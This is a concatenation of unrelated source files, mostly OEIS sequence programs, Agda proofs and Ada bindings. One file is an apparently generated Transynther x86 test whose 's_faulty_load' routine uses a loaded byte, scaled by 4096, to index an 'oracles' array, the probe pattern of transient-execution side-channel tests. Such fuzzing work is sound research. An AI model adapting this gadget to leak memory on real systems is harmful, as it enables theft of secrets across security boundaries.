{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'68': 1, '0a': 2, 'cb': 1, '00': 21807, '58': 12, '45': 2, 'd0': 4}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
programs/oeis/282/A282162.asm | neoneye/loda | 22 | 168315 | ; A282162: Difference sequence of the upper Wythoff sequence, A001950, with 2 prepended.
; 2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2
mov $1,$0
max $1,3
seq $1,120613 ; a(n) = floor(phi*floor(n/phi)) where phi=(1+sqrt(5))/2.
add $0,$1
add $0,1
mod $0,2
add $0,2
|
src/Human/Test.agda | MaisaMilena/JuiceMaker | 6 | 13577 | <filename>src/Human/Test.agda
module Human.Test where
open import Human.Humanity
-- sum 7
-- 0 + 1 + 2 + 3 + 4 + 5 + 6
-- function sum(x) {
-- var result = 0;
-- for (var i = 0; i < 10; ++i) {
-- result = result + i;
-- }
-- return result;
-- }
sum : Nat → Nat
sum i =
init 0
for i from 0 to 10 do:
λ result → result + 1
|
src/ado-caches.ads | My-Colaborations/ada-ado | 0 | 23509 | -----------------------------------------------------------------------
-- ado-cache -- Simple cache management
-- Copyright (C) 2017 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with Ada.Finalization;
with ADO.Parameters;
with Util.Log.Loggers;
-- == Database Caches ==
-- The ADO cache manager allows to create and maintain cache of values and use the cache
-- from the SQL expander to replace cached values before evaluating the SQL. The SQL expander
-- identifies constructs as follows:
--
-- $cache_name[entry-name]
--
-- and look for the cache identified by <tt>cache_name</tt> and then replace the cache entry
-- registered with the name <tt>entry-name</tt>.
--
-- The cache manager is represented by the <tt>Cache_Manager</tt> type and the database
-- session contains one cache manager. Applications may use their own cache in that case
-- they will declare their cache as follows:
--
-- M : ADO.Caches.Cache_Manager;
--
-- A cache group is identified by a unique name and is represented by the <tt>Cache_Type</tt>
-- base class. The cache group instance is registered in the cache manager by using the
-- <tt>Add_Cache</tt> operation.
package ADO.Caches is
No_Value : exception;
type Cache_Type is abstract limited new Ada.Finalization.Limited_Controlled with private;
type Cache_Type_Access is access all Cache_Type'Class;
-- Expand the name into a target parameter value to be used in the SQL query.
-- The Expander can return a T_NULL when a value is not found or
-- it may also raise some exception.
function Expand (Instance : in out Cache_Type;
Name : in String) return ADO.Parameters.Parameter is abstract;
type Cache_Manager is limited new Ada.Finalization.Limited_Controlled
and ADO.Parameters.Expander with private;
type Cache_Manager_Access is access all Cache_Manager'Class;
-- Expand the name from the given group into a target parameter value to be used in
-- the SQL query. The expander can look in a cache or in some configuration to find
-- the value associated with the name and return it. The Expander can return a
-- T_NULL when a value is not found or it may also raise some exception.
overriding
function Expand (Instance : in Cache_Manager;
Group : in String;
Name : in String) return ADO.Parameters.Parameter;
-- Insert a new cache in the manager. The cache is identified by the given name.
procedure Add_Cache (Manager : in out Cache_Manager;
Name : in String;
Cache : in Cache_Type_Access);
-- Finalize the cache manager releasing every cache group.
overriding
procedure Finalize (Manager : in out Cache_Manager);
private
Log : constant Util.Log.Loggers.Logger := Util.Log.Loggers.Create ("ADO.Caches");
type Cache_Type is abstract limited new Ada.Finalization.Limited_Controlled with record
Next : Cache_Type_Access;
Name : Ada.Strings.Unbounded.Unbounded_String;
end record;
type Cache_Manager is limited new Ada.Finalization.Limited_Controlled
and ADO.Parameters.Expander with record
First : Cache_Type_Access;
end record;
end ADO.Caches;
|
oeis/057/A057660.asm | neoneye/loda-programs | 11 | 84960 | ; A057660: a(n) = Sum_{k=1..n} n/gcd(n,k).
; 1,3,7,11,21,21,43,43,61,63,111,77,157,129,147,171,273,183,343,231,301,333,507,301,521,471,547,473,813,441,931,683,777,819,903,671,1333,1029,1099,903,1641,903,1807,1221,1281,1521,2163,1197,2101,1563,1911,1727,2757,1641,2331,1849,2401,2439,3423,1617,3661,2793,2623,2731,3297,2331,4423,3003,3549,2709,4971,2623,5257,3999,3647,3773,4773,3297,6163,3591,4921,4923,6807,3311,5733,5421,5691,4773,7833,3843,6751,5577,6517,6489,7203,4781,9313,6303,6771,5731
add $0,1
pow $0,2
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
add $4,$3
mul $3,$0
sub $0,1
add $1,$3
lpe
mov $0,$1
add $4,2
div $0,$4
add $0,1
|
programs/oeis/168/A168182.asm | karttu/loda | 1 | 178813 | ; A168182: Characteristic function of numbers that are not multiples of 9.
; 0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1
gcd $0,9
div $0,6
pow $1,$0
|
src/TwoPassMerge/CombinedProofs.agda | jstolarek/dep-typed-wbl-heaps | 1 | 11322 | <reponame>jstolarek/dep-typed-wbl-heaps
----------------------------------------------------------------------
-- Copyright: 2013, <NAME>, Lodz University of Technology --
-- --
-- License: See LICENSE file in root of the repo --
-- Repo address: https://github.com/jstolarek/dep-typed-wbl-heaps --
-- --
-- Weight biased leftist tree that proves both priority and rank --
-- invariants. Uses a two-pass merging algorithm. --
----------------------------------------------------------------------
{-# OPTIONS --sized-types #-}
module TwoPassMerge.CombinedProofs where
open import Basics
open import Sized
open import TwoPassMerge.RankProof using ( makeT-lemma; proof-1; proof-2 )
-- Now that we have separate proofs of priority and rank invariants we
-- can combine them into one proof. We index Heap with two indices:
-- one for Priority and one for Rank.
data Heap : {i : Size} → Priority → Rank → Set where
empty : {i : Size} {b : Priority} → Heap {↑ i} b zero
node : {i : Size} {b : Priority} → (p : Priority) → p ≥ b → {l r : Rank} →
l ≥ r → Heap {i} p l → Heap {i} p r → Heap {↑ i} b (suc (l + r))
-- Now we will combine functions that prove priority invariant and
-- functions that prove rank invariant into functions that prove both
-- invariants.
-- Let's begin with singleton. Note the type of created Heap. We set
-- first index to zero, because it proves the priority invariant and
-- second index to one because it proves rank invariant. The node now
-- needs two ge0 evidence.
singleton : Priority → Heap zero one
singleton p = node p ge0 ge0 empty empty
-- makeT function requires that we supply evidence that priority
-- invariant holds (value of type p ≥ b), guarantees that resulting
-- heap has correct size and maintains rank invariant by using Order
-- type to supply evidence of rank correctness to node constructor.
makeT : {b : Priority} {l r : Rank} → (p : Priority) → p ≥ b →
Heap p l → Heap p r → Heap b (suc (l + r))
makeT {b} {l-rank} {r-rank} p p≥n l r with order l-rank r-rank
makeT {b} {l-rank} {r-rank} p p≥n l r | ge l≥r
= node p p≥n l≥r l r
makeT {b} {l-rank} {r-rank} p p≥n l r | le r≥l
= subst (Heap b) (makeT-lemma r-rank l-rank) (node p p≥n r≥l r l)
-- merge combines previous proofs:
--
-- 1) it enforces priority invariant by comparing priorities using
-- order function. Recall that this function returns value of
-- Order datatype that not only gives a result of comparison but
-- also supplies evidence that result is true. That evidence is
-- given to makeT which uses it to construct a new node.
--
-- 2) it proves size invariant of merge by reusing proofs from
-- TwoPassMerge.RankProof
--
-- 3) it delegates the proof of rank invariant to makeT
merge : {i j : Size} {b : Priority} {l r : Rank} → Heap {i} b l → Heap {j} b r
→ Heap b (l + r)
merge empty h2 = h2 -- See [merge, proof 0a]
merge {_} .{_} {b} {suc l} {zero} h1 empty
= subst (Heap b)
(sym (+0 (suc l))) -- See [merge, proof 0b]
h1
merge .{↑ i} .{↑ j} .{b} {suc .(l1-rank + r1-rank)} {suc .(l2-rank + r2-rank)}
(node {i} .{b} p1 p1≥b {l1-rank} {r1-rank} l1≥r1 l1 r1)
(node {j} {b} p2 p2≥b {l2-rank} {r2-rank} l2≥r2 l2 r2)
with order p1 p2
merge .{↑ i} .{↑ j} .{b} {suc .(l1-rank + r1-rank)} {suc .(l2-rank + r2-rank)}
(node {i} .{b} p1 p1≥b {l1-rank} {r1-rank} l1≥r1 l1 r1)
(node {j} {b} p2 p2≥b {l2-rank} {r2-rank} l2≥r2 l2 r2)
| le p1≤p2
= subst (Heap b)
(proof-1 l1-rank r1-rank l2-rank r2-rank) -- See [merge, proof 1]
(makeT p1 p1≥b l1 (merge {i} {↑ j} r1 (node p2 p1≤p2 l2≥r2 l2 r2)))
merge .{↑ i} .{↑ j} .{b} {suc .(l1-rank + r1-rank)} {suc .(l2-rank + r2-rank)}
(node {i} .{b} p1 p1≥b {l1-rank} {r1-rank} l1≥r1 l1 r1)
(node {j} {b} p2 p2≥b {l2-rank} {r2-rank} l2≥r2 l2 r2)
| ge p1≥p2
= subst (Heap b)
(proof-2 l1-rank r1-rank l2-rank r2-rank) -- See [merge, proof 2]
(makeT p2 p2≥b l2 (merge {j} {↑ i} r2 (node p1 p1≥p2 l1≥r1 l1 r1)))
-- Implementations of insert and findMin are the same as
-- previously. We only need to update the type signature accordingly.
insert : {b : Priority} {r : Rank} → Priority → Heap zero r → Heap zero (suc r)
insert p h = merge (singleton p) h
findMin : {b : Priority} {r : Rank} → Heap b (suc r) → Priority
findMin (node p _ _ _ _) = p
-- To define deleteMin we will need to update definition of
-- liftBound. We need to redefine ≥trans because Agda won't let us
-- import it from a module that has unfinished implementation (recall
-- that we left definitions of findMin and deleteMin incomplete in
-- TwoPassMerge.PriorityProof).
≥trans : {a b c : Nat} → a ≥ b → b ≥ c → a ≥ c
≥trans a≥b ge0 = ge0
≥trans (geS a≥b) (geS b≥c) = geS (≥trans a≥b b≥c)
liftBound : {p b : Priority} → b ≥ p → {r : Rank} → Heap b r → Heap p r
liftBound b≥n empty = empty
liftBound b≥n (node p p≥b l≥r l r) = node p (≥trans p≥b b≥n) l≥r l r
-- With the new definition of liftBound we can now define deleteMin.
-- Implementation is identical to the one in TwoPassMerge.RankProof -
-- we only had to update type signature.
deleteMin : {b : Priority} {r : Rank} → Heap b (suc r) → Heap b r
deleteMin (node _ p≥b _ l r) = merge (liftBound p≥b l) (liftBound p≥b r)
|
Task/User-input-Text/Ada/user-input-text-2.ada | LaudateCorpus1/RosettaCodeData | 1 | 18806 | <filename>Task/User-input-Text/Ada/user-input-text-2.ada
My_String : String := Get_String;
My_Integer : Integer := Get_Integer;
|
oeis/171/A171764.asm | neoneye/loda-programs | 11 | 11511 | ; A171764: Binary expansion of numbers in A171763.
; Submitted by <NAME>
; 101,1001,1011,10001,10011,10101,10111,100001,100011,100101,100111,101001,101011,101101,101111,1000001,1000011,1000101,1000111,1001001,1001011,1001101,1001111,1010001,1010011,1010101,1010111,1011001,1011011,1011101,1011111,10000001,10000011,10000101,10000111,10001001,10001011,10001101,10001111,10010001,10010011,10010101,10010111,10011001,10011011,10011101,10011111,10100001,10100011,10100101,10100111,10101001,10101011,10101101,10101111,10110001,10110011,10110101,10110111,10111001,10111011
seq $0,4754 ; Numbers n whose binary expansion starts 10.
seq $0,204093 ; Numbers whose set of base-10 digits is {0,6}.
div $0,6
sub $0,10
mul $0,10
add $0,101
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_1_1227.asm | ljhsiun2/medusa | 9 | 244852 | <filename>Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_1_1227.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xfa2f, %rsi
lea addresses_A_ht+0xe6a7, %rdi
nop
sub $28260, %r12
mov $88, %rcx
rep movsq
nop
nop
nop
and $61719, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Load
lea addresses_RW+0x10de7, %rsi
nop
add %r15, %r15
movb (%rsi), %r8b
nop
nop
nop
sub %rax, %rax
// REPMOV
lea addresses_PSE+0x19e7, %rsi
lea addresses_WT+0xa5a7, %rdi
nop
nop
nop
nop
xor %r8, %r8
mov $64, %rcx
rep movsw
nop
nop
nop
nop
nop
dec %rbx
// Faulty Load
lea addresses_A+0x69e7, %rbx
nop
add $56152, %rsi
mov (%rbx), %r10
lea oracles, %rbx
and $0xff, %r10
shlq $12, %r10
mov (%rbx,%r10,1), %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}}
{'00': 1}
00
*/
|
alloy4fun_models/trashltl/models/7/3f4EvXfrFzLYszx5G.als | Kaixi26/org.alloytools.alloy | 0 | 1180 | open main
pred id3f4EvXfrFzLYszx5G_prop8 {
always (some File.link implies eventually File.link in Trash)
}
pred __repair { id3f4EvXfrFzLYszx5G_prop8 }
check __repair { id3f4EvXfrFzLYszx5G_prop8 <=> prop8o } |
src/gen/cups-cups_transcode_h.ads | persan/a-cups | 0 | 5336 | pragma Ada_2005;
pragma Style_Checks (Off);
with Interfaces.C; use Interfaces.C;
with Interfaces.C.Strings;
with CUPS.cups_language_h;
private package CUPS.cups_transcode_h is
CUPS_MAX_USTRING : constant := 8192; -- cups/transcode.h:36
-- * "$Id: transcode.h 10996 2013-05-29 11:51:34Z msweet $"
-- *
-- * Transcoding definitions for CUPS.
-- *
-- * Copyright 2007-2011 by Apple Inc.
-- * Copyright 1997-2006 by Easy Software Products.
-- *
-- * These coded instructions, statements, and computer programs are the
-- * property of Apple Inc. and are protected by Federal copyright
-- * law. Distribution and use rights are outlined in the file "LICENSE.txt"
-- * which should have been included with this file. If this file is
-- * file is missing or damaged, see the license at "http://www.cups.org/".
-- *
-- * This file is subject to the Apple OS-Developed Software exception.
--
-- * Include necessary headers...
--
-- * Constants...
--
-- * Types...
--
-- UTF-8 Unicode/ISO-10646 unit
subtype cups_utf8_t is unsigned_char; -- cups/transcode.h:43
-- UTF-32 Unicode/ISO-10646 unit
subtype cups_utf32_t is unsigned_long; -- cups/transcode.h:44
-- UCS-2 Unicode/ISO-10646 unit
subtype cups_ucs2_t is unsigned_short; -- cups/transcode.h:45
-- UCS-4 Unicode/ISO-10646 unit
subtype cups_ucs4_t is unsigned_long; -- cups/transcode.h:46
-- SBCS Legacy 8-bit unit
subtype cups_sbcs_t is unsigned_char; -- cups/transcode.h:47
-- DBCS Legacy 16-bit unit
subtype cups_dbcs_t is unsigned_short; -- cups/transcode.h:48
-- VBCS Legacy 32-bit unit
subtype cups_vbcs_t is unsigned_long; -- cups/transcode.h:49
-- EUC uses 8, 16, 24, 32-bit
-- * Prototypes...
--
function cupsCharsetToUTF8
(dest : access cups_utf8_t;
src : Interfaces.C.Strings.chars_ptr;
maxout : int;
encoding : CUPS.cups_language_h.cups_encoding_t) return int; -- cups/transcode.h:57
pragma Import (C, cupsCharsetToUTF8, "cupsCharsetToUTF8");
function cupsUTF8ToCharset
(dest : Interfaces.C.Strings.chars_ptr;
src : access cups_utf8_t;
maxout : int;
encoding : CUPS.cups_language_h.cups_encoding_t) return int; -- cups/transcode.h:61
pragma Import (C, cupsUTF8ToCharset, "cupsUTF8ToCharset");
function cupsUTF8ToUTF32
(dest : access cups_utf32_t;
src : access cups_utf8_t;
maxout : int) return int; -- cups/transcode.h:65
pragma Import (C, cupsUTF8ToUTF32, "cupsUTF8ToUTF32");
function cupsUTF32ToUTF8
(dest : access cups_utf8_t;
src : access cups_utf32_t;
maxout : int) return int; -- cups/transcode.h:68
pragma Import (C, cupsUTF32ToUTF8, "cupsUTF32ToUTF8");
-- * End of "$Id: transcode.h 10996 2013-05-29 11:51:34Z msweet $"
--
end CUPS.cups_transcode_h;
|
oeis/076/A076441.asm | neoneye/loda-programs | 11 | 86313 | <gh_stars>10-100
; A076441: Let u(1) = u(2) = u(3) = 1; u(n) = sign(u(n-1)-u(n-2))*u(n-3), then a(n) = 1+u(n).
; Submitted by <NAME>(s1)
; 2,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1,2,2,1,0,0,1,0,2,1
add $0,1
mul $0,2
max $0,4
add $0,1
mod $0,9
dif $0,-2
mod $0,3
dif $0,2
add $0,1
|
src/002/father.adb | xeenta/learning-ada | 0 | 30051 | <gh_stars>0
package body Father is
procedure Father_What (A : in out Father_Type) is
begin
A := A + 1;
end Father_What;
end Father;
|
source/amf/uml/amf-uml-interactions.ads | svn2github/matreshka | 24 | 27441 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
-- An interaction is a unit of behavior that focuses on the observable
-- exchange of information between connectable elements.
------------------------------------------------------------------------------
limited with AMF.UML.Actions.Collections;
with AMF.UML.Behaviors;
limited with AMF.UML.Gates.Collections;
with AMF.UML.Interaction_Fragments;
limited with AMF.UML.Interaction_Fragments.Collections;
limited with AMF.UML.Lifelines.Collections;
limited with AMF.UML.Messages.Collections;
package AMF.UML.Interactions is
pragma Preelaborate;
type UML_Interaction is limited interface
and AMF.UML.Behaviors.UML_Behavior
and AMF.UML.Interaction_Fragments.UML_Interaction_Fragment;
type UML_Interaction_Access is
access all UML_Interaction'Class;
for UML_Interaction_Access'Storage_Size use 0;
not overriding function Get_Action
(Self : not null access constant UML_Interaction)
return AMF.UML.Actions.Collections.Set_Of_UML_Action is abstract;
-- Getter of Interaction::action.
--
-- Actions owned by the Interaction.
not overriding function Get_Formal_Gate
(Self : not null access constant UML_Interaction)
return AMF.UML.Gates.Collections.Set_Of_UML_Gate is abstract;
-- Getter of Interaction::formalGate.
--
-- Specifies the gates that form the message interface between this
-- Interaction and any InteractionUses which reference it.
not overriding function Get_Fragment
(Self : not null access constant UML_Interaction)
return AMF.UML.Interaction_Fragments.Collections.Ordered_Set_Of_UML_Interaction_Fragment is abstract;
-- Getter of Interaction::fragment.
--
-- The ordered set of fragments in the Interaction.
not overriding function Get_Lifeline
(Self : not null access constant UML_Interaction)
return AMF.UML.Lifelines.Collections.Set_Of_UML_Lifeline is abstract;
-- Getter of Interaction::lifeline.
--
-- Specifies the participants in this Interaction.
not overriding function Get_Message
(Self : not null access constant UML_Interaction)
return AMF.UML.Messages.Collections.Set_Of_UML_Message is abstract;
-- Getter of Interaction::message.
--
-- The Messages contained in this Interaction.
end AMF.UML.Interactions;
|
libsrc/video/tms9918/gen_get_trigger.asm | Frodevan/z88dk | 640 | 26346 | ;
; z88dk library: Generic I/O support code for MSX family machines
;
;
; extern bool __FASTCALL__ msx_get_trigger(unsigned char id);
;
; get state of joystick button (trigger) number \a id, true = pressed
;
; $Id: gen_get_trigger.asm $
;
SECTION code_clib
PUBLIC msx_get_trigger
PUBLIC _msx_get_trigger
msx_get_trigger:
_msx_get_trigger:
IF (FORmsx | FORsvi)
EXTERN set_psg_callee
EXTERN get_psg
IF FORmsx
;;INCLUDE "target/msx/def/msx.def"
defc PPI_B = $A9
defc PPI_C = $AA
defc PSG_ADDR = $A0
defc PSG_DATA = $A1
defc PSG_DATAIN = $A2
ELSE
;;INCLUDE "target/svi/def/svi.def"
defc PPI_A = $98
defc PPI_B = $99
defc PPI_C = $9A
defc PSG_ADDR = $88
defc PSG_DATA = $8C
defc PSG_DATAIN = $90
ENDIF
ld a,l ; __FASTCALL__ parameter passing
or a
jr nz,joy_trig
gttrig_space:
; Keyboard (spacebar)
di
in a,(PPI_C) ; GIO_REGS
and $F0
or 8 ; kbd row 8
out (PPI_C),a ; GIO_REGS
in a,(PPI_B) ; KBD_STAT
ei
; bit0 = 0 -> space pressed
and 1
jr result
; Joystick triggers
joy_trig:
dec a
ld e,a
di
;; Exclude Joystick selection on Spectravideo,
;; reg #15 has other uses and would crash everything.
IF FORmsx
ld a,15 ; set PSG register #15
out (PSG_ADDR),a
in a,(PSG_DATAIN) ; read value
dec e ; Joystick number
jr z,joystick_2
and @11011111
or @01001100
jr joystick_1
.joystick_2
and @10101111
or @00000011
.joystick_1
; we still have PSG register #15 set
out (PSG_DATA),a
ld a,14 ; set PSG register #14
out (PSG_ADDR),a
in a,(PSG_DATAIN) ; read value
ENDIF
IF FORsvi
in a,(PPI_A)
dec e ; Joystick number
jr z,joystick_1
rra
.joystick_1
ENDIF
and $10 ; Stick Trigger
ei
result:
ld hl,0
ret nz
dec hl
ret
ELSE
IF FORm5
in a,($30) ; keyboard row scan
ld hl,0
and $40 ; mask the SPACE key
ret z
dec hl
ret
ELSE
ld hl,0
ret
ENDIF
ENDIF
|
programs/oeis/131/A131780.asm | karttu/loda | 0 | 1374 | ; A131780: Row sums of triangle A131779.
